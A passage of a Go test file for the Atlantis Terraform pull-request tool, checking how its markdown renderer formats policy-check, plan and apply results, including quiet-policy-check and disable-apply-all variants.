check\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        false,\n\t\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. project: $projectname$ dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\n$$$\n\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Policy Check Failed**: failure\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions\n$$$\n\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 3. project: $projectname$ dir: $path3$ workspace: $workspace$\n**Policy Check Error**\n$$$\nerror\n$$$\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis approve_policies\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored apply\",\n\t\t\tcommand.Apply,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path3\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Apply Failed**: failure\n\n---\n### 3. dir: $path3$ workspace: $workspace$\n**Apply Error**\n$$$\nerror\n$$$\n\n---\n### Apply Summary\n\n3 projects, 1 successful, 1 failed, 1 errored\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored apply\",\n\t\t\tcommand.Apply,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path3\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Apply Failed**: failure\n\n---\n### 3. dir: $path3$ workspace: $workspace$\n**Apply Error**\n$$$\nerror\n$$$\n\n---\n### Apply Summary\n\n3 projects, 1 successful, 1 failed, 1 errored\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tSubName: c.SubCommand,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected+\n\t\t\t\t\t\t\tfmt.Sprintf(\"<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log)), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRenderProjectResultsWithQuietPolicyChecks(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tSubCommand     string\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"single successful policy check with multiple policy sets and project name\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput: `FAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`,\n\t\t\t\t\t\t\t\t\tPassed:       false,\n\t\t\t\t\t\t\t\t\tReqApprovals: 1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$\n\n#### Policy Set: $policy1$\n$$$diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n#### Policy Set: $policy2$\n$$$diff\n2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions\n$$$\n\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\npolicy set: policy2: passed.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful policy check with project name\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\t// strings.Repeat require to get wrapped result\n\t\t\t\t\t\t\t\t\tPolicyOutput: strings.Repeat(\"line\\n\", 13) + `FAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`,\n\t\t\t\t\t\t\t\t\tPassed:       false,\n\t\t\t\t\t\t\t\t\tReqApprovals: 1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$\n\n<details><summary>Show Output</summary>\n\n#### Policy Set: $policy1$\n$$$diff\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nline\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n\n</details>\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n$$$\npolicy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions\n$$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful policy checks\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tLockURL:   \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored policy check\",\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\t\tPassed:        false,\n\t\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}, LockURL: \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Policy Check for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. project: $projectname$ dir: $path3$ workspace: $workspace$\n---\n\n### 2. dir: $path2$ workspace: $workspace$\n**Policy Check Failed**: failure\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions\n$$$\n\n\n#### Policy Approval Status:\n$$$\npolicy set: policy1: requires: 1 approval(s), have: 0.\n$$$\n* :heavy_check_mark: To **approve** this project, comment:\n  $$$shell\n  \n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 3. project: $projectname$ dir: $path3$ workspace: $workspace$\n**Policy Check Error**\n$$$\nerror\n$$$\n\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis approve_policies\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan\n  $$$\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\ttrue,       // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tSubName: c.SubCommand,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected+\n\t\t\t\t\t\t\tfmt.Sprintf(\"<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log)), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that if disable apply all is set then the apply all footer is not added\nfunc TestRenderProjectResultsDisableApplyAll(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"single successful plan with disable apply all set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with project name with disable apply all set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful plans, disable apply all set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output2\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n$$$diff\nterraform-output2\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path2 -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n`,\n\t\t},\n\t}\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\ttrue,       // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: 